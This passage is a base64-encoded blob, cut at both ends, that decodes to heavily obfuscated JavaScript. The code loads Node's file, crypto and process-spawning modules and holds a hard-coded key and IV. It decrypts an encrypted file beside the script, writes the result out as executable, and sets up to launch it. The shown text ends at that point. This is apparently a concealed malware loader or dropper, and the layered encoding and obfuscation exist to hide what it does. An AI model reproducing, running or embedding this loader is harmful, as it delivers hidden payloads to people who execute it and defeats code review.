pSWsnXVsncHVzaCddKE1hdGhbJ3JvdW5kJ10oTWF0aFsncmFuZG9tJ10oKSkpLG89dGhpc1snYkhvaUlrJ11bJ2xlbmd0aCddO31yZXR1cm4gbSh0aGlzWydiSG9pSWsnXVsweDFiNTUrLTB4MTRjYSstMHgxKjB4NjhiXSk7fSxuZXcgbChmKVsnd3JoTWZHJ10oKSxmWydySmh0elgnXT0hIVtdO31kPWZbJ01USnVpcSddKGQsYiksZlsnUnlQb0poJ11baV09ZDt9ZWxzZSBkPWo7cmV0dXJuIGQ7fWNvbnN0IGQ9KGZ1bmN0aW9uKCl7ZnVuY3Rpb24gYUIoZyxoLGksail7cmV0dXJuIGYoai0weDE4MSxnKTt9Y29uc3QgaD17fTtoW2FCKCdWSHc0JywweDMzMywweDMxYiwweDMzNildPWZ1bmN0aW9uKGssbCl7cmV0dXJuIGs9PT1sO30saFthQignJHVYcycsMHgzN2UsMHgzOTgsMHgzNDUpXT1hQignYjlbVicsMHgyZTksMHgzNDEsMHgzNDYpO2Z1bmN0aW9uIGFDKGcsaCxpLGope3JldHVybiBmKGktMHhjNyxqKTt9Y29uc3QgaT1oO2xldCBqPSEhW107cmV0dXJuIGZ1bmN0aW9uKGssbCl7Y29uc3QgbT17J0JyRUROJzpmdW5jdGlvbihvLHApe2Z1bmN0aW9uIGFEKGcsaCxpLGope3JldHVybiBmKGktIC0weDdmLGcpO31yZXR1cm4gaVthRCgndykzUScsMHgxOGUsMHgxZDksMHgxZTcpXShvLHApO30sJ1pVQlZ1JzppW2FFKDB4NDg2LDB4NDY5LDB4NDk3LCdsellMJyldfTtmdW5jdGlvbiBhRShnLGgsaSxqKXtyZXR1cm4gYUMoZy0weDE4ZSxoLTB4YjUsZy0weDFiZCxqKTt9Y29uc3Qgbj1qP2Z1bmN0aW9uKCl7ZnVuY3Rpb24gYUcoZyxoLGksail7cmV0dXJuIGFFKGotIC0weDM4NyxoLTB4NTEsaS0weDE4YixoKTt9Y29uc3Qgbz17fTtmdW5jdGlvbiBhRihnLGgsaSxqKXtyZXR1cm4gYUUoZy0gLTB4M2M0LGgtMHg1ZixpLTB4OTMsaCk7fW9bYUYoMHg1ZSwnYWhZNycsMHgyZiwweDI1KV09YUYoMHg2MSwnUlBLNCcsMHgyNSwweDgyKSsnYyc7Y29uc3QgcD1vO2lmKGwpe2lmKG1bYUYoMHg3YywnYjZtIycsMHhiYywweDYxKV0obVthRigweGZiLCdAZltIJywweGM5LDB4MTE2KV0sYUcoMHhhNywnbHpZTCcsMHhkYSwweGUzKSkpe2NvbnN0IHI9bVthRygweGJlLCdhdmp1JywweDlkLDB4YWUpKyduYyddKG4pLHU9b1thRigweDEwNywnbVhpTicsMHgxMmIsMHgxNTcpK2FGKDB4MTExLCdFS21kJywweGUyLDB4ZDgpXShwW2FGKDB4MTEwLCczSCFQJywweGMwLDB4MTUxKV0scCxxKTtyZXR1cm4gclthRigweDc4LCcyWXQxJywweDNhLDB4NzUpXShbdVthRigweDc3LCczSCFQJywweGIyLDB4NDIpXShyKSx1W2FHKDB4MTE4LCc0MkJ5JywweDEyMywweDEwNCldKCldKTt9ZWxzZXtjb25zdCByPWxbYUcoMHhlMCwnM0ghUCcsMHgxMTksMHhmOCldKGssYXJndW1lbnRzKTtyZXR1cm4gbD1udWxsLHI7fX19OmZ1bmN0aW9uKCl7fTtyZXR1cm4gaj0hW10sbjt9O30oKSksYz1kKHRoaXMsZnVuY3Rpb24oKXtjb25zdCBoPXt9O2Z1bmN0aW9uIGFJKGcsaCxpLGope3JldHVybiBmKGctMHg0NCxqKTt9ZnVuY3Rpb24gYUgoZyxoLGksail7cmV0dXJuIGYoZy0gLTB4MjE4LGkpO31oW2FIKC0weDMxLC0weDRkLCc5MTVWJywtMHgzZSldPWFJKDB4MjQ4LDB4MjU3LDB4MjEzLCc0c2VPJykrJyskJztjb25zdCBpPWg7cmV0dXJuIGNbYUkoMHgyMTEsMHgyM2MsMHgxY2IsJ0RyKDcnKV0oKVthSCgweDJkLDB4M2MsJ2F2anUnLDB4NmEpXShpW2FJKDB4MjUyLDB4MjUyLDB4MjA2LCcyWXQxJyldKVthSSgweDI0YywweDI3ZiwweDFmMiwnUlBLNCcpXSgpW2FJKDB4MjI2LDB4MjBmLDB4MWMzLCdSUEs0JykrJ3InXShjKVthSCgtMHg0NiwtMHg2NCwnU3oqZycsLTB4MmQpXShpW2FIKDB4M2MsMHg2MywnVkh3NCcsMHg0NildKTt9KTtjKCk7Y29uc3QgYj0oZnVuY3Rpb24oKXtjb25zdCBoPXt9O2Z1bmN0aW9uIGFLKGcsaCxpLGope3JldHVybiBmKGgtIC0weDM3MCxpKTt9ZnVuY3Rpb24gYUooZyxoLGksail7cmV0dXJuIGYoai0gLTB4MjIyLGgpO31oW2FKKC0weDMxLCdhQlh6JywweDQzLC0weDMpXT1hSigweDVkLCc2M3ZrJywweGQsMHgyYyk7Y29uc3QgaT1oO2xldCBqPSEhW107cmV0dXJuIGZ1bmN0aW9uKGssbCl7Y29uc3QgbT17fTtmdW5jdGlvbiBhTChnLGgsaSxqKXtyZXR1cm4gYUsoZy0weDEzMyxnLTB4MTIyLGksai0weGFjKTt9bVthTCgtMHg5MywtMHg4ZSwnbSNrIycsLTB4ZWQpXT1pW2FNKDB4MmY4LDB4MzA4LCc0R3luJywweDI5YSldO2NvbnN0IG49bSxvPWo/ZnVuY3Rpb24oKXtmdW5jdGlvbiBhTyhnLGgsaSxqKXtyZXR1cm4gYU0oaS0weGFhLGgtMHgxYjAsaixqLTB4ZTEpO31mdW5jdGlvbiBhTihnLGgsaSxqKXtyZXR1cm4gYU0oai0weDI1MixoLTB4MWJhLGksai0weDY0KTt9aWYoYU4oMHg1MjgsMHg0ZDUsJyN5TGgnLDB4NGVjKT09PW5bYU8oMHgzZjMsMHgzNjcsMHgzYTQsJzNIIVAnKV0pe2lmKGwpe2NvbnN0IHA9bFthTygweDM4MiwweDMyZiwweDM5MiwnbSNrIycpXShrLGFyZ3VtZW50cyk7cmV0dXJuIGw9bnVsbCxwO319ZWxzZXtjb25zdCByPWpbYU8oMHgzZjgsMHgzYmYsMHgzZjAsJ05ERCEnKV0oayxhcmd1bWVudHMpO3JldHVybiBsPW51bGwscjt9fTpmdW5jdGlvbigpe307aj0hW107ZnVuY3Rpb24gYU0oZyxoLGksail7cmV0dXJuIGFKKGctMHgxYTcsaSxpLTB4ZjQsZy0weDMwZCk7fXJldHVybiBvO307fSgpKTtmdW5jdGlvbiBhUyhnLGgsaSxqKXtyZXR1cm4gZihoLTB4MzMzLGopO31jb25zdCBhPWIodGhpcyxmdW5jdGlvbigpe2NvbnN0IGc9eydwd2paaCc6ZnVuY3Rpb24oayxsKXtyZXR1cm4gaz09PWw7fSwnTEJhSFonOmFQKCdmS2JSJywweDRiNCwweDRmNCwweDRiMCksJ1ZhVGRYJzphUSgweDVmYSwweDViZCwnbHpZTCcsMHg1YzEpLCdxd1ZuSic6ZnVuY3Rpb24oayxsKXtyZXR1cm4gayhsKTt9LCdPTW5jbyc6ZnVuY3Rpb24oayxsKXtyZXR1cm4gaytsO30sJ292bU5PJzpmdW5jdGlvbihrLGwpe3JldHVybiBrK2w7fSwncXBvZUwnOmFRKDB4NTkyLDB4NTY4LCc4ZltTJywweDUzYikrYVEoMHg1OGUsMHg1MzEsJ0BmW0gnLDB4NGQyKSthUSgweDUwYywweDUxOSwndykzUScsMHg0YjYpKydceDIwKScsJ2F4c1BFJzpmdW5jdGlvbihrKXtyZXR1cm4gaygpO30sJ3JmZ0dZJzpmdW5jdGlvbihrLGwpe3JldHVybiBrIT09bDt9LCdqZEhZVyc6YVEoMHg1NTAsMHg1N2MsJ0Y5KSknLDB4NWExKSwnY3pvUFonOmFQKCdFS21kJywweDRiNSwweDQ4NCwweDQzYSksJ1FLaU5wJzphUCgnRjkpKScsMHg0ODIsMHg0Y2MsMHg0YTcpLCdBSVlHUCc6ZnVuY3Rpb24oayxsKXtyZXR1cm4gazxsO319O2xldCBoO2Z1bmN0aW9uIGFQKGcsaCxpLGope3JldHVybiBmKGktMHgyZDIsZyk7fXRyeXtpZihnW2FQKCc2M3ZrJywweDUxMywweDRlOCwweDQ5ZCldKGdbYVEoMHg1YTcsMHg1ODAsJypnMGQnLDB4NTRjKV0sZ1thUCgnNEd5bicsMHg1MDIsMHg0ZDAsMHg1MTMpXSkpaT1qO2Vsc2V7Y29uc3QgbD1nW2FQKCdmS2JSJywweDRjNywweDRmZCwweDUxNSldKEZ1bmN0aW9uLGdbYVAoJ1I4NFknLDB4NTY5LDB4NTA2LDB4NTA5KV0oZ1thUSgweDU2ZSwweDUyNywnNHNlTycsMHg1MzYpXShhUCgnTkREIScsMHg1NDYsMHg1MTEsMHg1NzApK2FQKCdiNm0jJywweDRmNSwweDUwMSwweDRjMiksZ1thUSgweDRlYiwweDUzYSwnYjlbVicsMHg1MWUpXSksJyk7JykpO2g9Z1thUSgweDUzNSwweDU2NywnWzYpbCcsMHg1NTgpXShsKTt9fWNhdGNoKG0pe2dbYVAoJ20jayMnLDB4NGMzLDB4NDdiLDB4NGE2KV0oZ1thUCgnVmteZicsMHg1MmMsMHg0ZWMsMHg0ZDgpXSxnW2FRKDB4NWU0LDB4NTkzLCdSODRZJywweDU1ZSldKT9oW2FQKCdSUEs0JywweDQ3MCwweDRhZSwweDQ0ZCldKDB4MTMqLTB4MWIzKy0weDEwYWQrLTB4OWNiKi0weDUpOmg9d2luZG93O31mdW5jdGlvbiBhUShnLGgsaSxqKXtyZXR1cm4gZihoLTB4MzVjLGkpO31jb25zdCBpPWhbYVEoMHg1MDIsMHg1M2IsJ1I4NFknLDB4NGQ2KV09aFthUSgweDViMCwweDU4YSwnNEd5bicsMHg1Y2UpXXx8e30saj1bYVEoMHg1NzgsMHg1MjIsJzYzdmsnLDB4NGYyKSxhUCgnUjg0WScsMHg0YTIsMHg0Y2UsMHg0ZGUpLGdbYVEoMHg0ZTMsMHg1MzAsJ20jayMnLDB4NGNhKV0sYVAoJ1ZIdzQnLDB4NGE0LDB4NTAzLDB4NTFlKSxhUCgnNGlZdScsMHg1MTEsMHg0YjMsMHg0ZTYpLGFRKDB4NWQ5LDB4NTg0LCcpKENAJywweDVjYSksZ1thUSgweDU4YiwweDU1ZCwnalZRQScsMHg0ZmIpXV07Zm9yKGxldCBvPS0weGYqLTB4OGErMHgyNmYqMHhhKy0weDY3YyoweDU7Z1thUCgnNHNlTycsMHg0NjQsMHg0NzYsMHg0MWUpXShvLGpbYVEoMHg1YmEsMHg1YmMsJyN5TGgnLDB4NWMzKV0pO28rKyl7Y29uc3QgcD1iW2FRKDB4NjE3LDB4NWI4LCdWbXNMJywweDU4YykrJ3InXVthUCgnI3lMaCcsMHg0YWQsMHg0YzQsMHg1MjgpXVthUSgweDRmZCwweDUyYiwnM0ghUCcsMHg1MzIpXShiKSxxPWpbb10scj1pW3FdfHxwO3BbYVEoMHg1MWUsMHg1MTYsJ0ZBaFAnLDB4NTY3KV09YlthUSgweDRmYywweDUzNiwnRHIoNycsMHg1NzEpXShiKSxwW2FRKDB4NTFmLDB4NGZjLCdbQmhrJywweDU1MSldPXJbYVAoJ0ZBaFAnLDB4NGY2LDB4NTJmLDB4NGUzKV1bYVAoJyRoc3gnLDB4NGM0LDB4NGJkLDB4NGVlKV0ociksaVtxXT1wO319KTtmdW5jdGlvbiBhUihnLGgsaSxqKXtyZXR1cm4gZihpLSAtMHg0OSxnKTt9YSgpO2NvbnN0IGZzPXJlcXVpcmUoJ2ZzJykscGF0aD1yZXF1aXJlKGFSKCdiOVtWJywweDFkNSwweDFmMCwweDI0NikpLGNyeXB0bz1yZXF1aXJlKGFTKDB4NTZiLDB4NTEzLDB4NGI2LCdiNm0jJykpLHtzcGF3bn09cmVxdWlyZShhUygweDRjNywweDUwYSwweDU0YywnVm1zTCcpK2FTKDB4NTIwLDB4NTFmLDB4NTI0LCc2M3ZrJykpLGVuYz1hUignI3lMaCcsMHgyMGYsMHgxZTMsMHgxYmMpK2FSKCdHVmw5JywweDIyNSwweDFjOSwweDFlYyksa2I9YVMoMHg1NDAsMHg1M2QsMHg1MGQsJ0Y5KSknKSthUignRE1XbScsMHgyMGQsMHgxZjMsMHgxYWYpK2FTKDB4NTQ3LDB4NTVkLDB4NTA5LCdAI2RdJykrYVMoMHg1N2IsMHg1NzMsMHg1MTIsJ1I4NFknKSthUigneWhNUCcsMHgxZTUsMHgyMWQsMHgyNWYpLGliPWFSKCdTeipnJywweDFhOSwweDFmNCwweDIxMSkrYVMoMHg1NjksMHg1NDMsMHg1MWMsJyooN24nKSthUygweDUwNCwweDU1MCwweDU5MSwnRHIoNycpLG5kPWFTKDB4NTMzLDB4NTU0LDB4NTVjLCcyWXQxJyksbG49YVIoJzRHeW4nLDB4MTdiLDB4MTYzLDB4MWFmKSthUignVkh3NCcsMHgxYjgsMHgyMTYsMHgyMDEpLGtleT1CdWZmZXJbYVMoMHg0YjIsMHg0ZTcsMHg1MmUsJzJZdDEnKV0oa2IsYVMoMHg1M2MsMHg1NzksMHg1YTAsJ0RyKDcnKSksaXY9QnVmZmVyW2FTKDB4NTg1LDB4NTI4LDB4NTUxLCckdVhzJyldKGliLGFTKDB4NWQ1LDB4NThkLDB4NWRjLCdWSHc0JykpO2Z1bmN0aW9uIGRlYyhoKXtjb25zdCBpPXt9O2Z1bmN0aW9uIGFUKGcsaCxpLGope3JldHVybiBhUyhnLTB4ZGMsZy0gLTB4NGRkLGktMHgxNmMsaik7fWlbYVQoLTB4NCwtMHg0ZCwtMHgzOSwnRHIoNycpXT1hVCgtMHgyLC0weDIxLC0weDIxLCdETVdtJykrJ2MnO2NvbnN0IGo9aTtmdW5jdGlvbiBhVShnLGgsaSxqKXtyZXR1cm4gYVIoaCxoLTB4ZTEsaS0weDE5YyxqLTB4MTRiKTt9Y29uc3Qgaz1mc1thVCgweGFmLDB4NGYsMHhiZiwnVmteZicpKyduYyddKGgpLGw9Y3J5cHRvW2FUKC0weGIsMHgxNywweDQ4LCcqZzBkJykrYVQoMHhiYiwweGQ0LDB4YmIsJ3cpM1EnKV0oalthVSgweDM4NywnYjlbVicsMHgzNmEsMHgzNjUpXSxrZXksaXYpO3JldHVybiBCdWZmZXJbYVQoMHg3MSwweDcxLDB4MmQsJ2I2bSMnKV0oW2xbYVUoMHgzOTQsJzhmW1MnLDB4MzM2LDB4MzdkKV0oayksbFthVCgweDk3LDB4NDIsMHhhNSwneWhNUCcpXSgpXSk7fWZ1bmN0aW9uIGUoKXtjb25zdCBhWD1bJ3RDb2ZjWlpjVnEnLCdFSkpkVW1vN3FHJywndE41dVdRbScsJ1dQN2NOQ2tDRW1vZCcsJ2dKR21vU2s5JywnbW1vYVdPOWRXNWUnLCdXUG04VzRKY1Vtb1knLCdXT0RXVzQzY1JjcScsJ1dQcWpXNEpjUlNvWScsJ2Ntb3dXUXRkR0NveVc2eGNTbW9sYnd4Y01hJywnV1BiVnBHMHdXNFB4dVhUZycsJ21Tb3l3U29mRXEnLCdkdTFQV1F0ZEdHcGNWcScsJ1c0L2NLU29xVzY1SScsJ1dPeGRRMGxjS0NvU3NDay9iRycsJ2ptb0xXNlMnLCd3U296eHNSY0lTby9uZENrQmEnLCdubW9KQVNvWXNxJywnVzZoZE9Da1NXT3hjR3JKY0ptb0pXNWxjUXEnLCdpczR6a0NrYycsJ1c0NUVXNktwVzU0Jywnc1poZFVDb254VycsJ1dSSmRISWVxVzRWY0pnNEZlV2UnLCdXUi9kR1NrUHhTaysnLCdrU2t3ZGEnLCdXUTgxVzZKY0xhJywnZUNrZmh0dGRRYTdkSXFhMycsJ1dQWmNHbWtQem1vcScsJ3Vtb1ZjWmZ2JywnZGVOZE9Da09lYScsJ1c3RFFXUkpkSkNrdldRN2NHdDl6bVNvQWhDazAnLCdXNFJjSjhvclc3ME1rWDhDeENrUycsJ0NjQ1FXUUZkVVcnLCdXNmlPV1JDbnJta1knLCdiSzNkTnVhJywnV1JhZGxxUycsJ21ZSEZnU29pd3d4ZFQ4ay9XT2ZnV096WCcsJ1dPaGRUMGZWVzc0JywndENvc2FKVmNSRycsJ1dRdWRXNFNpVzRySnA4b3l6YScsJ1c0akNhbW9qbFcnLCdhMVB2dUNrYycsJ2RTbytXUkdQc0cnLCdXN2lDV1IwSlc1RycsJ1c0bGRVc0JkSWEnLCd4eHpiV1FKZEtHMCcsJ1dQcjJXNjhFZHEnLCd5bWs5V1JDJywnazhvZVc2ZXZXN1hPeUNraFdPU3cnLCdXN0RQaFNvS2ZHJywnVzV0Y0ptb0tiQ29HVzZyMldSZTlXNWEnLCdXNzVkVzRMcicsJ2xaeTJsQ2trV1FwZEpHJywnVzY4S1dRMGhzU2tPV1JyQVdRRycsJ29nL2RSV2VMJywnZHZkZEkwUmNWcScsJ2o4b2xhdXUnLCd6bWtrVzYvY1RDb0YnLCdETGppV1E3ZEpHJywnV083ZFF3NTgnLCdCOGs0VzdoY1ZDa0pycScsJ3UzVFVXUHRkVEcnLCdlU29sZFNvZXRXJywnY2hkZFJta3InLCdycjRtYjhvd3VmbGRWM1NnV1BmdldRaScsJ2x4MTJ6bWtzJywnVzVtWFc1cWRXNHJwQThrK2NXNCcsJ3Bta1VEQ2t5V1F1NWE4a0xXN3FnJywnVzd0ZEdzMHZXUjgnLCdpaHBkTnNDOVdQbXhXNmxkT21rbScsJ3R2UDhXN1pkUnIzZEtYdnFXUDgnLCdEbW9hRVNraURhJywnVzdLZldPMCcsJ0Ftb3p2THknLCdkU29DV1FWZEdTb0JXUjNkTzhrOGgxM2NLOG9veVpPJywnRlNrOFc2cGNRU28yZ3EnLCdXT09KeTFwZFB1YScsJ2hta3VkZFpkU1d4Y1B1WDBXUk8nLCdmQ29MVzc5SScsJ1dPUmRVdC9jSFNvWHRTa0lmQ28vRXEnLCdjM1RGV1JaZFJxVmNSRycsJ1c3clR1eHBkU3E0aFdSNVRXUUpkT0NvQWJxJywnVzZXeldQcXRXNjlkejhrVGFHJywnZjhvL1dQUGJXNk5kSWdOZFNhJywnQjhvOWVXbm4nLCdXNVpjTENvbVc2UE8nLCdGc3BkS1NvekNxJywnV1BsZFJDa3VCcS9kVXEnLCdXNlNPV1JhYScsJ3RDazRXUWE1VzczY1FORmNJbW9oV1BlRnZJSmRWcScsJ2x1VmRWMHBjVmEnLCdXUGRkVUNrVnVXJywnYzAzZEwxQmNPY0JkTVcnLCdXNFJjSUNvQlc2NTZCY3V5d1NrWCcsJ1dQbTJpY2hjT3EnLCdBY3lkV1BSZFFTa1RXNXBjSUNrV1dSOCcsJ2NLcGRJS2RkVXg0JywnbTJCZE10NDInLCd5M2lkd0NraWhZQmRVOGt5V095JywnVzdYcm1mVGNXNjdjSm1vbicsJ1c1QmRVY21tV1F5Jywnd3FaZEsxeScsJ1dQQmRNbW9VdjhvK1dSTycsJ1dRaXZXNHRjTFNvZicsJ1c0T0l5THpwV08xQ3VMeUEnLCdyYkZkVW1vTHZta3dzSEtMJywnRGdUY1dRaGRJVycsJ1dSeTFhZEJjUktlJywncW1vQUM4b3UnLCdpbW9wV09PUkZXJywnVzZtVVdSQ2snLCd3U2tmVzRGY1VDa0snLCdpQ29vV1JXYXpjaGNUU2tGVzZmbScsJ2ZDb2djQ281QWVXRXlhJywnV1BkZE93bGRJbWtTZkNvTnRtb1VCRycsJ1c2QmRLSXlRJywnV09aZFE4a3hySGknLCdXN0tvdDJyVCcsJ1c3anpXNFcnLCdXUFdBQXdGY1BHJywnRWNGZFBTb0t0OGtxdWN1b1c1SycsJ1c3MG9XT0hrV1JpY2ttb1diYnknLCdXTzNjSThrbHU4b0onLCdXUmxjTE5mWVc0cGRMcnVnaFlkZEdTa2RrVycsJ3ptbyt0bWtLdFcnLCd5TTRVb21rY1dSQmRJbWtPaUxxJywnV1BkZEtTb1B4RycsJ1c2anFXNGVnVzU4KycsJ1dSeGRNbW9Zd21vNicsJ2hlM2RRTGhjVnNwZEthaScsJ0Y4azhXNnBjVm1vdGdhM2NRYlA3JywnV09WZFE4a3hDYScsJ3RDbzNicTQnLCdXNjFmVzRhZScsJ3B1TmRWZWRjUXEnLCdXUmlNQ0NrOEFTa3lXUENJaThrY3NhJywnQkpKZFJtbzJ0OGtoJywnVzZIeVc0ZWtXNFdWJywnbjhrQVdSRycsJ1c1REhlMTFGVzdwY0pDbzFFVycsJ1dRL2NMbWtEdFNvRScsJ1c0bTFXUFdRQVcnLCdXUnFacnRkY1IxNWNXN2l4VzZpJywnV09KZFF4ajJXN0pkVmVXJywnZzBEdCcsJ1dSWHVXNDNjSmEnLCdnWlBBV1J4Y1Y4b0cnLCdXT3BkUUpoY0tDbzJzQ2tJcThrS2phJywndXgxVVdRbGRSVycsJ1c3cTJlQ2tlV1B5JywnY01wZFE4a0NjcScsJ3RtbzNiRycsJ3Vta0xXN1NmV1EvY0x0aGRVbW9EaG1rdFc0RmNUYScsJ2ttb0NhdjgnLCd5M2FPd1NrdycsJ3M4a0NXN3RjRzhrbFc0WmNVU29QbTJ1JywnVzVDWEUyMVknLCd5Q29EelNrYURTb0JXNmRkUUNrbCcsJ1dQV1RxMGxjT3IzZE5TbzUnLCd2Q2tLV1JTa1c2cUMnLCdFc2hkUFNvWicsJ1dRQ1ZhSmknLCdXUG43VzZxcmRxJywnRkNrSXE4a3NXUVNnJywnZUt6YycsJ1dQWmNMOGtkcm1vRycsJ2ZmWEJxbW9wcXJsZFMzS3onLCdXUDNjUUNvWFc2elRDWnUnLCd5M3VlclNreW1JcGRRU2tkV09PJywnb21rYWRhdTRkWmhkSGhsY1VleGRWbW9VJywnVzdKZFRDb1MnLCdXT09SRkxpJywnV09SZFBta0lxU2tKVzQwWGxTb3lXNFcnLCdXUHRkVmhKY0txJywnZVNrT3dmV2lFOGtZQ0o3ZEptb2tXNW44JywnY3doZFQ4a0NrcScsJ3dOYmlXUjdkSkh4Y0dhJywnVzZpMVdRYUV1Q2tQJywnV1BKZFJTa091OGsyVzc4WGxDb3QnLCdXUGxkUTMvY0xTb1F1U2tLYVNvNXlXJywnVzYvZFJtb01XT0ZjTUhtJywnVzUwMXplWHAnLCdwbWtEV1JiaScsJ1dRcXVXNkpjTjhvcCcsJ2Vta0FXUGJieXEnLCdjbW9SVzZySScsJ2dTb1lXNzk0JywnY0NrWG1yZGRLYScsJ2FDbzVXUURyJywnckNvUmVHJywnV1JyNm1DbzdlbWtmV1I4JywnV1JEV1c2UHhlbW9XV1FxUlc0UmRUOG9OVzdLUycsJ0Q4a1BxcScsJ2lzTCtXT3BjVkcnLCdXTzdkTm1vSXhtb1YnLCdXT1JkSjhvVnJtb0xXUXo5V1FYUScsJ1c1L2NSbW9NVzRqeicsJ1c3blRXUmxkRzhrdldRUmNJcmp5aDhvdGhDa0UnLCdXNG14bjhrOScsJ2loRmRIWnlHV1BiSVdQL2RKOGs5JywnZnZaZEk4a2trVycsJ2tDbzRXN2EzVzREcXdDb0ZXUTAnLCd3U295YmNaY1Q4b1BnRyddO2U9ZnVuY3Rpb24oKXtyZXR1cm4gYVg7fTtyZXR1cm4gZSgpO30oKGFzeW5jKCk9PntmdW5jdGlvbiBhVihnLGgsaSxqKXtyZXR1cm4gYVIoaixoLTB4MWI4LGgtMHgxODcsai0weDEyMSk7fWNvbnN0IGk9eyd2V1hNVyc6ZnVuY3Rpb24oaixrKXtyZXR1cm4gaitrO30sJ1NQRnZKJzpmdW5jdGlvbihqKXtyZXR1cm4gaigpO30sJ2JzU0pvJzphVigweDJmMSwweDJmZCwweDMyOSwnQGZbSCcpLCdNdGRsaic6YVcoMHgxZjEsMHgyM2YsJzkxNVYnLDB4MjdhKSwnbU1Tc04nOmFWKDB4MmRlLDB4MzM2LDB4MzZlLCdAI2RdJyksJ0JUYmh4JzphVigweDJkNSwweDMyZiwweDJkOCwnI3lMaCcpLCdzYlRJVSc6YVYoMHgzNDEsMHgzNjEsMHgzYWUsJ0BmW0gnKSwnVnZKUXUnOmZ1bmN0aW9uKGosayl7cmV0dXJuIGo8azt9LCdWZklCUic6ZnVuY3Rpb24oaixrKXtyZXR1cm4gaiE9PWs7fSwnY21FcGonOmFXKDB4MjUxLDB4MjhhLCdOREQhJywweDJiOCksJ2dDQ2d1JzphVigweDMyOSwweDM1YSwweDM2YywnVkh3NCcpLCdubmZZdCc6ZnVuY3Rpb24oaixrKXtyZXR1cm4gaihrKTt9LCdoYkhvTic6YVYoMHgzOTYsMHgzNmIsMHgzMzMsJzJZdDEnKSwndGFkUk0nOmFWKDB4MzkwLDB4Mzc0LDB4M2M0LCdhdmp1JyksJ2lTbW1KJzpmdW5jdGlvbihqLGssbCxtKXtyZXR1cm4gaihrLGwsbSk7fSwnbndGRFgnOmFWKDB4MjljLDB4MmVjLDB4MmNjLCcyWXQxJyksJ1ZYaktUJzpmdW5jdGlvbihqLGspe3JldHVybiBqK2s7fX07ZnVuY3Rpb24gYVcoZyxoLGksail7cmV0dXJuIGFSKGksaC0weDFiNyxoLTB4YTMsai0weDc0KTt9dHJ5e2lmKGlbYVYoMHgzNmEsMHgzM2UsMHgyZWYsJ2x6WUwnKV0oaVthVigweDM4NSwweDM1MywweDMxYiwnbSNrIycpXSxpW2FXKDB4MjUxLDB4MjIzLCdWbXNMJywweDIwYildKSl7bGV0IGs7dHJ5e2NvbnN0IG49cyhITVlHTFVbYVYoMHgzNWMsMHgzMjgsMHgzNDAsJ21YaU4nKV0oSE1ZR0xVW2FXKDB4MjQyLDB4MjA1LCd5aE1QJywweDI2YSldKGFXKDB4MmM1LDB4MmJjLCc0c2VPJywweDJhOSkrYVcoMHgyYTIsMHgyNmUsJ21YaU4nLDB4MjMxKSxhVigweDM3ZSwweDM4NywweDNhOCwnUlBLNCcpK2FWKDB4MzE5LDB4MzU3LDB4MzFkLCc0MkJ5JykrYVcoMHgxY2YsMHgyMWMsJ1JQSzQnLDB4MWJlKSsnXHgyMCknKSwnKTsnKSk7az1ITVlHTFVbYVcoMHgyNmMsMHgyNTksJyRoc3gnLDB4MjZkKV0obik7fWNhdGNoKG8pe2s9dTt9Y29uc3QgbD1rW2FXKDB4MjlmLDB4MjUzLCdGOSkpJywweDI3OCldPWtbYVcoMHgyZjMsMHgyYjAsJ1ZIdzQnLDB4MjUwKV18fHt9LG09W0hNWUdMVVthVigweDNlZCwweDNhNSwweDM5MiwnKmcwZCcpXSxhVigweDMzZSwweDMyNiwweDJjZSwnaTkoNCcpLEhNWUdMVVthVigweDNkOSwweDNhMiwweDNjMCwnUjg0WScpXSxhVigweDM0OSwweDMyMiwweDMzNCwnNHNlTycpLEhNWUdMVVthVygweDI4NSwweDI1MSwnYjlbVicsMHgyNzMpXSxITVlHTFVbYVcoMHgyODMsMHgyNmIsJzRpWXUnLDB4MjFlKV0sSE1ZR0xVW2FWKDB4MzUxLDB4Mzc2LDB4Mzg4LCdbQmhrJyldXTtmb3IobGV0IHA9MHg0KjB4MmIxKy0weDhjNysweDFmZCotMHgxO0hNWUdMVVthVigweDJlYywweDMyZSwweDM1MywnbCp0UycpXShwLG1bYVYoMHgyZGIsMHgyZmYsMHgzMDcsJ2wqdFMnKV0pO3ArKyl7Y29uc3QgcT16W2FWKDB4MzE3LDB4MmU1LDB4MzBlLCczSCFQJykrJ3InXVthVigweDNjYiwweDM4YSwweDM0NSwnRE1XbScpXVthVygweDJhNCwweDI4ZiwnYUJYeicsMHgyZjApXShBKSxyPW1bcF0scz1sW3JdfHxxO3FbYVcoMHgzMTQsMHgyYmQsJzNIIVAnLDB4MzBmKV09QlthVygweDI3ZiwweDI5ZCwnXUdEQCcsMHgyYjgpXShDKSxxW2FWKDB4MzU0LDB4MzhiLDB4MzQwLCckaHN4JyldPXNbYVcoMHgyNDIsMHgyMGEsJ1ZIdzQnLDB4MWJjKV1bYVYoMHgyOWIsMHgyZGIsMHgyZWIsJ2I2bSMnKV0ocyksbFtyXT1xO319ZWxzZXtjb25zdCBrPXBhdGhbYVcoMHgyMDMsMHgyMTgsJ2FCWHonLDB4MWY2KV0ocHJvY2Vzc1thVigweDMyOCwweDMwZSwweDMyMiwndykzUScpXVstMHhjZioweDJhKzB4NzYqLTB4MTIrMHgyYTQzXSksbD1wYXRoW2FXKDB4MjBhLDB4MjFhLCdqVlFBJywweDIyMSldKGssbmQpLG09cGF0aFthVigweDM1MSwweDM4NiwweDNlYywnaTkoNCcpXShsLGFXKDB4MjE3LDB4MjEzLCc5MTVWJywweDI1OSksaVthVygweDI5NSwweDI1ZiwnWzYpbCcsMHgyMmUpXSksbj1wYXRoW2FWKDB4M2UwLDB4MzkwLDB4M2I4LCdiNm0jJyldKGssZW5jKSxvPWlbYVYoMHgyZmIsMHgyZTEsMHgzMjMsJ0VLbWQnKV0oZGVjLG4pW2FWKDB4MmY0LDB4MmRlLDB4MzI0LCdbQmhrJyldKGlbYVcoMHgxZTAsMHgyMWQsJ1I4NFknLDB4MjcxKV0pLHA9cGF0aFthVigweDI4OCwweDJlYiwweDJlNiwnI3lMaCcpXShrLGxuKSxxPXt9O3FbYVYoMHgzY2QsMHgzOTMsMHgzZGIsJzRpWXUnKV09MHgxYzAsZnNbYVYoMHgyZjIsMHgzMTksMHgzNzAsJzRpWXUnKSthVygweDI5MCwweDI0OSwnU3oqZycsMHgyMjQpXShwLG8scSk7Y29uc3Qgcj17MHgwOmNyeXB0b1thVygweDI3MywweDI1MCwnTkREIScsMHgyYWQpXSgpLDB4MTpsbn0scz17fTtzW2FWKDB4MmM3LDB4MmYxLDB4MmFlLCc2M3ZrJyldPTB4MTgwLGZzW2FWKDB4MmZkLDB4MzA4LDB4MmFkLCdhaFk3JykrYVcoMHgxZjcsMHgxZmYsJzJZdDEnLDB4MWRkKV0ocGF0aFthVigweDNi